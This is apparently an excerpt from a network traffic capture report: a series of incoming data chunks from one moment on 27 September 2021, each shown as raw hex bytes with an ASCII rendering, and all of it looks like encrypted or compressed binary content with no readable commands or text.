2021-09-27 18:14:09 UTC	27	IN	Data Raw: a3 86 e4 5b 2d 35 80 11 02 8d 1f a2 12 89 f6 4b c4 12 3e 8a 9d 5b 19 5f d7 31 c3 18 8c e2 41 46 69 cb ea c1 97 6d 76 78 0c ce 3d 30 80 35 a0 6f 37 67 39 60 ac 26 6d 42 33 dc 24 64 7b 09 11 b3 fc 0f 56 d2 a0 b4 e9 10 4c b1 ea 6a 82 d5 03 14 26 a1 da 39 fd 3d 9e 97 ef c1 19 88 7f 2e c6 a7 73 d2 55 08 49 0e 03 1c b5 2a 65 6d e2 a0 43 90 26 2c 1c a9 5a f1 a2 b1 36 90 81 16 87 fd ea 0d d0 60 d5 89 55 0d 53 0e b7 aa 6d 93 30 1d cd eb 07 72 ba c2 f5 63 e3 eb 22 01 02 15 28 59 2f 7b 08 5e 35 f3 c9 db e5 b7 c3 82 c9 4d c6 10 07 8a a5 ac 51 86 44 fb 61 2c 98 d8 02 6a 13 4b e6 08 88 03 e0 05 07 01 fd 21 48 7e 43 46 64 8f d3 76 20 60 07 a9 41 07 16 a1 48 73 d0 9c 7b 8e f3 37 02 1f 32 b6 ac c4 3b 9d b2 40 2f f3 05 c4 49 d0 b2 16 e8 a8 ab e8 b8 ee 1e b8 d0 0c ce bf 38 Data Ascii: [-5K>[_1AFimvx=05o7g9`&mB3$d{VLj&9=.sUI*emC&,Z6`USm0rc"(Y/{^5MQDa,jK!H~CFdv `AHs{72;@/I8
2021-09-27 18:14:09 UTC	28	IN	Data Raw: 1c de 73 75 1b 30 5c a2 1a 5b 09 94 12 f7 b1 09 12 52 c1 b5 27 32 32 e3 b5 8e 62 cf b9 6a 42 11 7e a0 2e 98 b1 5b a1 72 51 bc a8 fc 6d 5c 67 a2 62 1f 32 db 32 6e 71 d5 10 c4 5e 89 49 e3 8d d6 19 40 e6 bb c7 57 cd eb f3 da 5b c6 65 14 2c 6c 70 0f 28 e4 6f 86 eb 4f 11 64 3a 99 98 e1 f2 2d 31 1d 56 8e 8d d5 2a a1 c1 9b d7 e5 e3 3a 02 56 87 6b af 7e c9 7b e4 20 1d 79 7d 84 6d fa a9 f1 83 20 f1 a5 7c 50 e9 08 4b 4c 83 11 6f a4 af 29 20 ee b6 a1 4d 1b df 1a 1d fc 95 31 25 5c ad 5f 6b cc 18 7f 28 c1 f8 79 82 b4 71 d8 a5 44 1e 06 89 b8 59 58 6e ca db dc 68 77 a9 dc 57 6e 7d 57 d3 e2 6b 48 3d 24 56 7b 76 72 c5 ea 96 60 1c ef 0b 1b 15 52 47 12 3f ca c1 2a af d5 fa 90 19 ed d4 de 8e 34 6b 81 d3 73 46 e3 ef d7 85 d6 df b8 72 ac 02 35 8f 09 03 d8 3d 6e 46 7f b8 f2 fc Data Ascii: su0\[R'22bjB~.[rQm\gb22nq^I@W[e,lp(oOd:-1V:Vk~{ y}m \|PKLo) M1%\_k(yqDYXnhwWn}WkH=$V{vr`RG?4ksFr5=nF
2021-09-27 18:14:09 UTC	29	IN	Data Raw: 66 2a 51 ba 30 f3 57 22 ca 1b 08 58 18 07 a0 f8 37 d6 f2 e0 ef c1 23 49 ad 1e 43 8d db 01 17 5d ad dd 45 fc 0c 88 c7 ef cb 02 88 7c f0 c4 8b 5e 2c 54 2e 69 3f 1c 3c 69 f9 7e 68 6b 8b 52 94 3e f8 0c 82 7b f2 b7 99 09 91 81 bd 8d 77 c8 0b df 6b d1 92 aa 0c 7f 56 b2 d3 b1 4b 8b 10 1b 66 2d 69 8a c6 f9 96 f0 ef 22 21 06 0d c7 5c 23 73 97 3e 38 d9 cb dd 96 82 c6 95 3d 47 ed 10 70 bc a0 ac 4a 8e 5a 2f 64 20 9f 4f 11 6e 53 e6 e2 15 76 00 bf 21 2d 04 cf 57 a8 c1 31 65 4e 8f c1 55 28 7f 29 20 6a 07 2f a0 5b 67 cf 8c 1b 93 a8 33 08 0c 34 b1 b0 dc 20 67 a2 6b 3d d7 2b f2 4f f8 a5 8b f9 a7 a5 e4 b4 bd 36 8e de 13 c8 dd 28 5c 1d 24 cb ab fc c6 2d 2c 0d 39 98 2d 5d ff e5 f5 c9 4f e8 85 32 83 e0 74 c4 1b 25 04 90 79 74 d1 65 95 91 8c da 87 06 04 18 7c 22 2c 8b 23 8b 06 Data Ascii: f*Q0W"X7#IC]E\|^,T.i?<i~hkR>{wkVKf-i"!\#s>8=GpJZ/d OnSv!-W1eNU() j/[g34 gk=+O6(\$-,9-]O2t%yte\|",#
2021-09-27 18:14:09 UTC	31	IN	Data Raw: a8 ff fc e0 79 f7 58 3b c4 64 88 42 eb a9 cb 12 59 1e 92 23 59 cf f7 dc d2 5a 48 d4 14 30 6d 70 0f 3f fa 6c 9a ef b5 02 4c 2e 93 95 f7 e9 32 dd 19 6c 8d 88 d1 2b b7 5c 2b c6 6c 42 3a 60 57 87 67 92 75 e1 37 f3 de 16 5f a1 83 44 d2 96 ea 7d 2b d1 b3 5d 7a fa 95 4c 6c 5d 11 69 95 9e 3c 20 ea b2 a1 4d 2c e1 24 0c 9f b6 30 25 57 bd 47 70 cf 92 79 00 d5 c2 79 88 a7 46 ec ba 0c 7b 04 84 a0 40 74 72 b8 9e d7 7b 7b a1 ed 13 6a 7b 3e 96 e5 71 51 5a 1a 47 f6 57 79 1b b5 8c 7d 55 fe 1c 4f 1a 44 58 02 17 d2 c0 2a 65 3b 0d 70 ce c4 38 29 4e cc 85 76 1b 9b b8 1c 3b f7 9d c3 da aa e1 bd 0a 24 88 18 0b f0 2a a0 b9 8a 4a 3d d4 28 92 69 91 56 71 8f 63 88 57 09 7c be 0d 53 37 0a e0 ca ec 31 65 23 48 cf 57 95 b5 51 d8 62 87 89 e8 49 81 b7 5c 23 74 92 9c 1d 3e aa 25 79 0b f8 Data Ascii: yX;dBY#YZH0mp?lL.2l+\+lB:`Wgu7_D}+]zLl]i< M,$0%WGpyyF{@tr{{j{>qQZGWy}UODXe;p8)Nv;$J=(iVqcW\|S71e#HWQbI\#t>%y
2021-09-27 18:14:09 UTC	32	IN	Data Raw: 54 19 51 34 03 3b bf f4 65 7b 6f 8b 43 92 0a 07 27 ac 64 9f ec b0 36 9a 83 a3 e9 3e da 0f d5 78 ba dd 55 0d 59 98 b9 ec ec 91 3c 0d e5 d3 06 69 80 19 f5 a0 e3 ea 32 30 02 15 39 59 0f 63 92 5e 39 da d8 d9 97 88 f2 87 c3 97 c0 13 68 ec a4 ac 4a 88 49 aa 84 0c 9c 5c 2a 1c 53 f7 e0 67 dd 00 93 29 20 21 08 2c 57 3e 43 46 64 8f d3 69 26 77 28 72 6b 07 1c b8 75 7d f9 9a 14 ab 72 3d d5 91 35 a0 bf cb 3c 08 b8 69 3b e5 28 e3 48 50 b2 57 75 ac ba ef af a5 a7 87 e2 55 c1 58 c8 70 60 34 36 22 dc c3 2c 04 99 33 45 54 74 e3 e6 f7 ca 2f 87 82 32 87 8e 32 ce 0a 24 34 95 59 0a 87 64 9f 39 85 ff 9b 39 39 94 43 a2 26 57 d0 9b 0d d6 99 35 2a 03 30 22 de 26 42 38 90 2c aa aa 34 19 bd 4b 48 0f c8 8e ab 2a 11 f9 c4 a0 0b 30 49 03 ba bd 40 fe 03 2a a8 c8 dd 96 67 db e3 a1 c5 29 Data Ascii: TQ4;e{oC'd6>xUY<i209Yc^9hJI\Sg) !,W>CFdi&w(rku}r=5<i;(HPWuUXp`46",3ETt/22$4Yd999C&W50"&B8,4KH0I@g)
2021-09-27 18:14:09 UTC	33	IN	Data Raw: 70 b8 93 d0 29 a3 5e 28 ca 95 55 3e 1e 5f 90 fb 9c 63 c9 73 f8 0e 09 55 7f 92 49 ee a1 ea 77 09 ea a6 57 58 b6 80 4c 66 82 ef 64 bd 9f 33 29 f9 b6 a1 5c 28 c6 e4 0d a3 a8 1a 3f 45 a2 77 62 cb 00 87 01 f9 f5 7b 06 01 78 e9 ce 0c 71 13 91 ab 57 70 61 cf c0 28 7a 5d 87 f2 14 46 5b 52 c0 e3 69 d6 32 3b 46 f7 56 75 d3 c3 a2 69 0d ee b3 0d 08 6c 70 01 17 d4 62 2d b1 d0 e6 98 21 9c c7 d6 95 15 66 9a ff 64 56 e7 f8 3a 8d eb df ab b3 2f 26 28 96 0b 0f f0 3b 6b 59 7c 4b e2 d8 41 a0 43 92 57 63 72 62 a8 6a f4 7f e7 01 43 bd 95 bf 34 fc 6d 04 23 48 c8 60 a8 a6 55 d2 ad 4e b3 25 48 a7 3e 07 3e 74 92 9c 6d 22 b0 0d 7c 32 c4 18 51 57 61 2e f9 7c e0 91 51 50 88 f6 7d 1a 1f 8e a8 30 50 7b 5d d9 05 1d 00 2f fb 83 ba 28 de 7b 66 4a 88 41 3c 32 ce 23 01 90 fb 7f f5 06 32 5a Data Ascii: p)^(U>_csUIwWXLfd3)\(?Ewb{xqWpa(z]F[Ri2;FVuilpb-!fdV:/&(;kY\|KACWcrbjC4m#H`UN%H>>tm"\|2QWa.\|QP}0P{]/({fJA<2#2Z
2021-09-27 18:14:09 UTC	34	IN	Data Raw: 25 25 1b ae 83 e9 ef 23 85 f2 ad b2 c2 21 2b ac cb 4e 10 1c 8e c9 75 17 30 7a a2 1a 59 a3 ce 13 fb cb 08 1e 52 db b5 27 20 00 e6 b5 e7 e6 ce b9 5c 01 11 6f b6 e5 b2 d0 5b ad 6a af bd 84 ef 6f d2 d0 a1 ec a8 e4 cc e8 79 6a 59 3b c4 93 89 42 fa 8e d6 11 59 02 ba eb 58 f5 ff dc db 59 48 d8 3e 17 02 0f 05 32 ee 45 8e ef 81 12 48 05 81 94 e1 b3 37 cf 0d 6c 92 a5 e9 2d ab 58 d2 d5 47 56 0a 36 57 8f 79 4a 73 e5 7b 81 ba 1d 55 75 98 78 f6 a1 e2 6b df dc 8b 55 45 ce 95 44 7f 7d 10 43 bd b4 2e 0b 3e b5 a3 36 64 df 1a 08 e0 b5 31 25 5c 8c 77 73 cf 0b 49 02 d5 ce 79 88 b6 27 d4 ba 1d 67 1f a3 92 53 78 68 35 da fa 73 02 cf f5 00 64 76 48 cc e5 79 4c cb 3a 6a f4 45 7e c5 e3 93 94 0c c4 13 1d 13 44 50 1b e9 d3 ec 28 8e c6 d9 5b 0b 40 8e d6 9f 37 50 89 e8 54 43 e3 89 c4 Data Ascii: %%#!+Nu0zYR' \o[joyjY;BYXYH>2EH7l-XGV6WyJs{UuxkUED}C.>6d1%\wsIy'gSxh5sdvHyL:jE~DP([@7PTC
2021-09-27 18:14:09 UTC	35	IN	Data Raw: 2e 68 68 cb e0 d2 60 43 28 41 99 d8 2c 3e b9 95 19 cd 1d 67 33 6a 61 2a 6d 52 4d ad 22 08 52 00 7e db fd 0f 5c 2e 3e e5 c8 1e 4b b8 8f 15 a1 d4 09 c2 3f a2 a4 36 fa 24 bc ec ef c1 1f 9a 64 f0 d5 8d 44 97 55 18 3e 36 0d 1c bf f4 65 79 6f 85 43 f1 48 06 07 ae 70 f0 be d3 34 92 fa fd 86 6d df 0c f7 10 d4 89 5e 79 5d 46 b5 c6 a6 db 3c 07 c9 c1 64 6b 88 bc bf 8a e3 ef 21 18 69 14 39 57 7b 7b 88 5e 37 bd 92 d9 96 97 e8 c8 c1 6e ad 12 68 a5 a6 df 36 8b 4c db 0a 62 9d 58 08 40 19 f5 e4 67 e7 00 93 29 2e 87 f7 2c 51 43 85 6d 64 8b f8 2b 26 10 28 25 6a 0d 14 db 10 76 d9 9b 3c 2c f2 37 0e 2a 1e b3 8f c7 2a dc a2 47 30 89 2d e3 59 c6 b4 b2 c1 ac ba ef a7 ba 2b 61 d0 20 e4 21 52 3b 60 30 1f 2a d4 b6 2d 04 13 3a b0 56 74 e3 ec f6 e7 26 64 82 38 ab 69 67 cf 0c 08 0c 9b Data Ascii: .hh`C(A,>g3jamRM"R~\.>K?6$dDU>6eyoCHp4m^y]F<dk!i9W{{^7nh6LbX@g).,QCmd+&(%jv<,7G0-Y+a !R;`0-:Vt&d8ig
2021-09-27 18:14:09 UTC	36	IN	Data Raw: c2 71 6f b6 26 ac ca 73 12 6a af b7 04 8e 6f d2 d4 8b f2 aa cc df d8 7a a7 ec 3b c4 5e c7 42 fa 90 c0 1d 61 be ba eb 59 cf f5 ef 32 58 64 d5 14 a4 6d 70 03 2e e4 6f 86 e0 4f 11 64 30 a9 3b e1 fa 31 c4 01 76 9e 86 d4 d3 a2 63 2e cc 67 54 1a 24 a9 86 4d ba 0c aa 73 f2 da 0b 7d 00 92 61 f0 be e3 71 21 d5 bf a9 53 ee 99 64 e6 82 11 65 3f fd 2c 20 ee ab ad 4d 24 c2 e4 0d a3 a2 4e 46 56 a6 73 5b e0 18 79 0a f9 b3 67 84 b6 66 cd 44 0d 5d 08 f6 d9 53 70 74 e3 c5 d5 7b 77 d5 96 00 6e 79 79 e7 e5 71 51 b5 58 46 f6 59 68 c9 eb 8d 70 f3 e9 3d 0d 37 ea 58 02 11 c9 cc 2a ad d2 0c 8e 25 39 d0 da 9f 3b 65 80 05 65 6b e1 ce c1 b4 92 28 5d 5b b8 20 3f b8 1c 0b 7a 29 6f 46 25 b5 e3 e5 75 bc 6a 91 51 6e 02 59 81 41 fd 75 e7 2c 70 ca 0b b9 4a 9c 45 7f 27 60 48 7d a2 b3 79 6c Data Ascii: qo&sjoz;^BaY2Xdmp.oOd0;1vc.gT$Ms}aq!Sde?, M$NFVs[ygfD]Spt{wnyyqQXFYhp=7X*%9;eek(][ ?z)oF%ujQnYAu,pJE'`H}yl
2021-09-27 18:14:09 UTC	38	IN	Data Raw: 36 7e a6 cb 29 d3 00 b6 c6 e5 ae 22 9a 78 fa d2 a7 0e d1 55 04 49 8f 01 1c b9 dc 46 7b 6f 81 6b db 24 06 0b 86 54 f0 be bb 59 ad 80 b7 8c 6a f3 43 dc 7a d3 a1 ed 0f 53 40 9d e7 db 91 36 2f 80 e8 06 6f a2 e3 f5 8a e9 84 1f 31 02 1f 3e 75 41 76 88 58 1d 79 da d9 90 bb e1 82 c3 4c e9 5c 6b af a2 84 7f 8a 4c db 0a 31 9d 58 08 6d 7b a7 e5 08 8e 29 2a 21 06 07 df 0f 57 3e c4 45 35 8c d2 63 0c 5b 47 24 60 68 2b a1 5b 7c de b7 46 a8 f2 31 20 b5 36 a0 b9 eb 09 99 a3 4d 18 96 2e e3 4e f8 9c 8a f9 a7 d5 d2 a6 b2 3c 98 f9 58 c7 23 2f 58 d9 32 1b 2f d4 e5 2c 04 13 11 cd 24 75 e5 ce d1 cf 54 6f ed 0f 82 e1 6d c8 22 78 11 97 57 4d 68 67 9f 35 b5 f2 90 19 36 bc 14 21 2c 8c a9 be 0d d6 9b 4c 86 15 1e 23 f9 0b 1a 3b 10 20 5f 53 37 19 bb 6b 7c 9e de aa 88 53 10 f9 c2 08 25 Data Ascii: 6~)"xUIF{ok$TYjCzS@6/o1>uAvXyL\kL1Xm{)*!W>E5c[G$`h+[\|F1 6M.N<X#/X2/,$uTom"xWMhg56!,L#; _S7k\|S%
2021-09-27 18:14:09 UTC	39	IN	Data Raw: 7e 75 05 23 ed 70 87 02 b0 3c 41 29 85 9d 7b f6 28 c5 0f 7f 9e 9f c6 3b 5d 4e 00 d7 7c 47 17 3a 46 82 7e a4 8c c8 5f f0 f5 19 6d cd 6d 9e 05 a7 85 ae 21 dd ad 7d 4c c0 bd 57 56 87 11 f7 be 9f 2c 76 ea b2 b0 4f 04 66 1a 0c 89 a7 43 9f 56 a6 7d 79 c8 77 aa 00 d5 f3 6a 86 a0 7d d9 82 62 70 13 88 a9 5d 61 7d 51 d6 df 53 40 ab f4 0a 43 78 69 95 e4 71 5b 3c 48 cb f7 5d 74 d6 ed 5b 78 28 c0 26 0a 1f 4e 4b 0a 3f ea c0 2a af 19 cb 8e 09 3b d6 d0 9b 5c fd 88 fb 62 6a e6 dd ee 8d c7 d7 dc 37 bf 0a 2e 9b 1c 75 63 2a 6f 4c 66 b2 9d 67 5d 88 63 82 52 73 60 66 ef c9 f6 7f e7 13 9f da 04 ac 3d c5 bc 7f 23 48 df 79 b3 bc 79 b0 bf 4a af b4 c3 8a 37 72 76 71 83 90 76 30 8b 6a 7f 23 c6 61 25 57 4d 2b fd 68 f5 97 51 5d bf 98 80 1b 35 e3 09 34 68 ae b0 23 eb 32 28 4a e3 b3 b8 Data Ascii: ~u#p<A){(;]N\|G:F~_mm!}LWV,vOfCV}ywj}bp]a}QS@Cxiq[<H]t[x(&NK?;\bj7.ucoLfg]cRs`f=#HyyJ7rvqv0j#a%WM+hQ]54h#2(J
2021-09-27 18:14:09 UTC	40	IN	Data Raw: da 65 de 77 55 21 46 40 bd ec b1 92 3c 01 e5 cf 06 69 80 a8 39 8a e3 e1 3d 3c 11 10 39 4c 0a 6b 76 5f 19 c6 f3 f5 89 9a d1 87 c3 57 c4 0e 96 ae 88 a9 4d 87 52 c2 60 0c 8d 5d 1d 63 ad f6 ca 01 99 05 9a b9 0a 1e fd 3f 52 3e df 68 7b 82 2c 64 08 74 4e 35 6e 89 a1 92 bc 69 d7 8c 11 ab e3 32 11 f2 35 8c ab c5 28 b1 ca 44 30 c3 05 c7 48 d0 b2 e5 35 ad ba e5 bd a1 33 9f c0 09 db 29 d7 71 4c 24 13 01 9d c5 2c 02 76 a4 98 27 7f da d4 0a 30 ab 7a 89 21 86 e1 76 ca 15 21 ec 96 7d 6f a2 d9 9f 33 97 fb 8f 09 2f 91 43 33 29 9d 7f 9b 21 d5 89 30 be 14 0f 2c e8 dd 43 14 13 31 64 ef 35 08 b8 5c 4f 60 df 8c a2 21 16 c1 72 de fe 12 60 28 a9 8d 68 ef 5c 3c 39 de a9 9d 47 c8 fc b9 c8 08 e8 38 08 0a 7e 21 3f 63 3b 86 fa 29 d4 bb 1e 10 43 7b 37 be 97 ad 2c ad 04 92 06 74 52 f6 Data Ascii: ewU!F@<i9=<9Lkv_WMR`]c?R>h{,dtN5ni25(D0H53)qL$,v'0z!v!}o3/C3)!0,C1d5\O`!r`(h\<9G8~!?c;)C{7,tR
2021-09-27 18:14:09 UTC	41	IN	Data Raw: 71 5f a8 a6 57 58 d1 9a 5d 6c 92 1c 00 23 9e 2c 2a c6 bf b0 47 3d d2 75 91 8e ac 3a 36 44 8d 78 61 c2 e6 6f 4a d5 f9 78 e7 a3 6e d4 b0 1f 63 01 85 ae 41 7f 58 ab db d6 7d fd 94 f4 00 6f 6e 57 d1 e3 67 d7 0a 3b 46 f7 4b 5a 5b ea 85 60 21 ed 29 d3 1d 44 58 14 04 c2 be 5f a4 c4 f8 9c 18 2a c8 f6 9f 31 7a 89 e9 74 55 f2 cd a0 8c c7 d1 2e 9b bf 0a 25 9b 1e 1a f6 3c e3 79 75 b5 e2 e2 75 16 68 91 5d 49 74 58 23 43 f7 7f f0 15 56 c5 1a af 22 c3 d2 7d 23 48 d9 6e b2 a6 7a c1 af 72 2b d9 49 8b 26 78 74 72 ba e1 66 39 a9 21 6d 23 c0 04 bc 43 65 b2 ef 6f ee 8f 73 4d 85 f0 91 17 1b 17 82 35 62 b9 a4 0e f9 36 00 25 8a 65 96 88 02 7a 6c 61 d8 53 30 31 ea 27 79 91 fd 5d 9d 01 1a 53 2b 0c 70 3c 5e e0 86 a2 a2 2d d5 1d 04 60 9b bf a1 61 6a cb 45 ac ba 87 38 aa c7 cc f2 fb Data Ascii: q_WX]l#,G=u:6DxaoJxncAX}onWg;FKZ[`!)DX_1ztU.%<yuuh]ItX#CV"}#Hnzr+I&xtrf9!m#CeosM5b6%ezlaS01'y]S+p<^-`ajE8
2021-09-27 18:14:09 UTC	43	IN	Data Raw: bd 51 9d b2 d0 49 0f 84 4b 08 6a 42 fd f9 1d 76 00 bf 2a 3e 7a f6 2c 57 21 d8 7e 6e 8f c3 6f 3b 72 b9 25 46 0e 2e c9 5a 76 d9 80 1a b8 f8 37 19 06 2b a9 41 c2 06 94 b2 41 18 6c 2c e3 42 c3 bd 95 f3 be b0 ef b6 b8 29 86 2f 0d e8 2a 11 31 61 30 1b 36 e6 d5 26 04 08 33 85 d9 74 cf ee cd 66 aa 9a 7d 2c 90 eb 67 de 00 31 05 69 50 49 d8 5d 80 32 9d d1 8f 01 2f 9e 43 33 26 96 7f 9b 21 95 80 27 93 4e 1e 29 f4 66 4f 38 10 26 2b 14 ca e6 93 bc a0 61 bd a0 a0 0a b4 f9 c4 20 33 13 99 fd b4 43 94 10 07 3d 39 de 86 63 b8 26 af 5f ba dc a4 c6 f6 ff 34 c9 e0 7d 77 78 05 4a d5 53 c1 1f 5e 68 3d 22 80 bf 13 76 fa 93 2a f3 52 3f 4c c2 4c 19 c5 06 61 06 cd bd 78 27 13 23 d8 8a 46 40 86 66 8b 33 95 c0 c7 02 c1 d8 75 40 33 81 bd fe aa 8f d5 2b b5 bd c3 32 2c 55 4c 40 e7 4d b2 Data Ascii: QIKjBv>z,W!~no;r%F.Zv7+AAl,B)/1a06&3tf},g1iPI]2/C3&!'N)fO8&+a 3C=9c&_4}wxJS^h="v*R?LLax'#F@f3u@3+2,UL@M
2021-09-27 18:14:09 UTC	44	IN	Data Raw: 10 ad 8f 8f cd f1 d6 7b 71 aa e8 00 6e 7d 51 84 e5 7a 14 35 29 5c f6 5d 73 c5 eb 23 6a bf b0 10 05 05 44 58 03 0c e2 c9 2a 05 c5 f2 8f 6b 3b c7 c7 ec 8f 7a 89 f1 6f 34 59 e5 c4 86 cd c8 be 8c 04 0a 24 82 30 9b f3 2a 69 6e 51 b5 e3 fe 75 a7 69 91 5d 49 6d 67 9f 5d df c4 e1 04 4f e1 9b bc 34 fb 6d 5b 23 48 c4 57 0e b4 51 d8 d3 e7 a8 db 43 94 2d 5c de 75 92 9c 4f a9 a0 09 7a 0b e4 0e af 5c 65 02 ee 6f ee bd 5c 53 88 e6 ab a0 33 8c 89 1d f8 ab a3 20 d2 13 00 2f ea 9b 12 29 03 70 09 e7 c1 41 36 24 89 a1 03 90 f7 44 80 3e 33 51 2a 0c 68 e6 68 95 af 03 a9 20 d6 4b 29 61 9b b3 a1 7c 64 c4 02 61 bb 87 38 aa d6 cc f2 fb 9f 92 7e d2 c2 64 85 13 b3 ab 68 27 03 89 93 2d 55 14 44 cc 47 e2 48 30 37 9a 38 b0 85 37 f2 03 84 9f 9a d1 15 58 81 01 5b 19 55 c4 36 f2 5f ff df Data Ascii: {qn}Qz5)\]s#jDXk;zo4Y$0inQui]Img]O4m[#HWQC-\uOz\eo\S3 /)pA6$D>3Q*hh K)a\|da8~dh'-UDGH0787X[U6_
2021-09-27 18:14:09 UTC	45	IN	Data Raw: 34 bb 8f c6 2a be a1 47 30 a1 2d e3 59 a3 02 8a f9 a7 b0 f7 2a a7 36 9f d0 1f d4 32 39 66 48 ab 18 29 fa 64 3d 14 0e 11 04 24 75 e5 44 e4 df 47 60 98 bf a8 e1 67 ce 19 3f 03 86 47 45 68 65 9f 33 01 c0 81 0e 24 08 52 33 34 aa 7b 9a 0d d6 0d 32 aa 0d 09 b5 ef 32 51 3c 04 2d 63 e6 21 0a bb 3d 63 9e de aa 88 97 10 f9 c2 4f b0 ec 66 08 a9 ba 7a e8 32 9c 38 de f3 8c 40 b6 51 a0 45 29 fb 2b 1f 13 6a 0f 9a 83 3b 86 eb a6 c3 be a4 f3 4b 6a 30 33 99 9d 92 6d 04 94 2e cc 54 ef 0c ad fd 19 ed 18 72 0f d6 9c 60 94 12 29 fa 88 53 56 9f 61 b6 15 8d d3 cd 13 c5 c3 7e cb de 8a 80 fe 83 1b ba 9a b4 a2 db 32 2d 44 56 62 64 b0 b3 23 2e a8 af 83 17 fb dd 84 f2 53 b3 d3 2a 03 30 c8 4e 16 73 3d 4c 74 1d 24 a2 a3 0c a7 08 af 2a 12 d6 08 1e 43 ca 9d b8 22 02 e0 da 54 63 cf b3 74 Data Ascii: 4G0-Y629fH)d=$uDG`g?GEhe3$R34{22Q<-c!=cOfz28@QE)+j;Kj03m.Tr`)SVa~2-DVbd#.S0Ns=Lt$C"Tct
2021-09-27 18:14:09 UTC	47	IN	Data Raw: 95 ed 7a 8f d1 65 5b e3 e5 c4 8c c1 d7 be 86 bf 04 3e 88 18 0a f0 2a 5f 46 69 f9 e3 fa 47 88 69 90 4c 55 72 60 dc 41 f7 7f bd 04 45 d8 78 05 34 fd 4f 75 25 36 ff 7e a2 b1 79 c5 be 4a af f3 19 88 37 72 4d 6d 90 96 61 56 65 09 7c 29 1e 00 8a 7e 7a 2d ee 65 e8 b9 78 54 97 f6 5d 1b 35 f2 b2 34 68 ac 8b 31 f8 37 06 07 b0 b0 be 2e 2b 63 64 4a c6 2e fa 23 e6 05 dc 9e d8 7f bb 06 32 5a 27 24 42 ea 40 30 70 03 a5 07 de 7f 71 61 9b b5 b4 78 67 fc 2a d4 a1 87 32 83 47 cf c2 fd ab fa 7e dc d2 4c 08 13 a8 91 78 22 4e 8c e7 46 09 14 45 b2 f5 58 48 3a 2e 9d 06 6c b7 36 f2 16 a1 e7 5a d1 13 7a e1 9e 5b 1f 77 cf 33 e3 5e b8 07 41 46 63 15 e4 e4 4f 65 2f 50 97 c2 15 02 37 22 7c 3c 1c 61 47 53 be 30 78 7f 35 c8 23 0e 70 41 12 b3 fa 27 4f f0 e0 e9 ae f4 4d b1 ea 9c af f1 2b Data Ascii: ze[>_FiGiLUr`AEx4Ou%6~yJ7rMmaVe\|)~z-exT]54h17.+cdJ.#2Z'$B@0pqaxg2G~Lx"NFEXH:.l6Zz[w3^AFcOe/P7"\|<aGS0x5#pA'OM+
2021-09-27 18:14:09 UTC	48	IN	Data Raw: 13 33 83 eb 4a f9 79 0c 10 97 57 76 c5 74 8b 22 8c be b8 1b 3c 92 52 36 3d 99 ee be 0f d6 97 32 af 05 0c 46 d8 21 42 3e 01 32 5f 46 36 19 bb 2c 75 9c de a6 a6 1b 07 96 df 21 01 e7 b8 0d 9f 95 5c ef 0b 37 2a cb db a5 47 d9 e9 7f 45 32 f8 2f df 13 68 26 0f 93 2c b8 91 4a 2d 53 38 ca 4a 51 37 23 a5 b5 0c 6e 04 e3 06 e2 2f ef 12 d8 4c 18 ec 12 61 b4 c7 e2 26 27 1c 33 f0 9b 47 40 8c a8 8f 26 6b d2 d9 18 d0 d2 6b 51 cd 9e 93 80 07 13 da 31 b5 a2 d0 3a 16 50 5d 68 fc b3 b3 42 41 1b bf f0 a7 ef 23 8f f7 a9 ad d8 09 90 ac cb 44 38 ac 8d 4d 72 3f 14 5c a2 10 52 0e e7 3c fb d6 02 08 ac c0 b2 0f 90 01 e6 b3 cf 46 cf b9 56 6a 20 6f b6 28 a5 2e 5a c9 46 ac ac 80 c5 68 fa 61 a2 ec ae cc e8 e8 79 ad 70 ae c4 5e 82 4e d2 33 d5 11 5f 15 92 58 5a cf fb 87 4b 58 48 d8 34 7b Data Ascii: 3JyWvt"<R6=2F!B>2_F6,u!\7*GE2/h&,J-S8JQ7#n/La&'3G@&kkQ1:P]hBA#D8Mr?\R<FVj o(.ZFhayp^N3_XZKXH4{
2021-09-27 18:14:09 UTC	49	IN	Data Raw: 45 7f 22 ea df 77 b6 a1 45 fa 1f 4a a9 d1 61 17 37 74 6f 7f 4c 87 42 11 94 09 7c 29 d3 0b bb 5c 65 15 ee 6f ee 4f 40 52 bd fd 93 1b 33 8c 83 56 68 7a 96 27 eb 2d 00 2f e1 a0 8e 21 03 bf 66 4a c0 28 3c 23 f7 19 11 95 d6 0a 8c 17 37 49 d4 0d 56 c8 47 2e 86 bc a0 2d d9 74 fc 66 9b b5 b3 74 73 c8 2e 56 84 87 32 83 e5 c7 e6 e9 9f 7f 7f d2 c2 56 1b 17 b3 b0 7e 35 ec 8d cb 45 4d 07 40 a3 97 e7 50 c4 25 bb 0b 10 86 44 38 13 89 fa 53 c8 06 57 a9 8c 5e 0f a1 d6 1d e0 4f c4 c4 41 57 6c d1 14 c0 4b 50 04 52 b6 6f 3a 2e 1f a6 74 e2 1a 70 b4 66 bf 30 7d 5b 2a dc 26 84 67 09 11 b2 5e 07 5b fb f4 fb d6 bf 62 b1 e0 43 b2 d0 12 1a 21 b2 57 3e ff 0c 15 c6 ef cb 0e 9f 6e 60 f9 aa 4d c4 cf 2a 70 36 03 16 6f cb 65 7b 6e a3 57 90 27 0c 25 99 71 f0 b4 c8 09 90 81 b6 f7 52 db 0f Data Ascii: E"wEJa7toLB\|)\eoO@R3Vhz'-/!fJ(<#7IVG.-tfts.V2V~5EM@P%D8SW^OAWlKPRo:.tpf0}[&g^[bC!W>n`Mp6oe{nW'%qR
2021-09-27 18:14:09 UTC	50	IN	Data Raw: b0 fa 74 cf 18 78 14 c1 ed 51 2b b6 6e de 92 1d 71 13 82 ab 5c 61 7d df f3 15 78 71 ad e3 8d 69 7d 51 c1 f6 67 4a 23 2d 50 7a 62 72 c5 ea 27 7b 1b fc 05 1e 37 e7 58 02 1d c6 e8 e9 a6 c4 f4 98 84 3c c7 d6 9e 20 6f 98 ee 72 5f 6f da c4 8c c6 75 b3 b1 ab 1e 30 a0 bb 0b f0 20 7b 6e b1 b6 e3 f2 4b 05 6e 91 57 64 65 74 94 69 54 7f e1 0e 6d d8 0b bf 3e ee 4b 6b f3 0e ce 7f a0 9d 45 d2 bc 40 81 1e 4a 8b 31 6d e8 72 92 96 66 2a b5 18 6a 35 d1 00 87 47 4d 2d e4 cd f5 87 57 45 90 5e 92 0d 2b 9d 8c 1d 79 a8 a3 2c 58 26 16 3c f5 a2 ab 3c 17 63 eb 65 c0 41 3d 30 f1 1e 15 86 ea cb 9d 11 25 47 b6 1d 6d f2 57 a6 bf 14 8b 8e df 63 7b 70 8c a3 22 54 70 cf 3f cc 21 af 23 82 47 c5 e1 f3 a6 a1 69 42 e4 53 19 07 a4 3b 53 33 12 8c ed 96 47 14 45 b8 ae f6 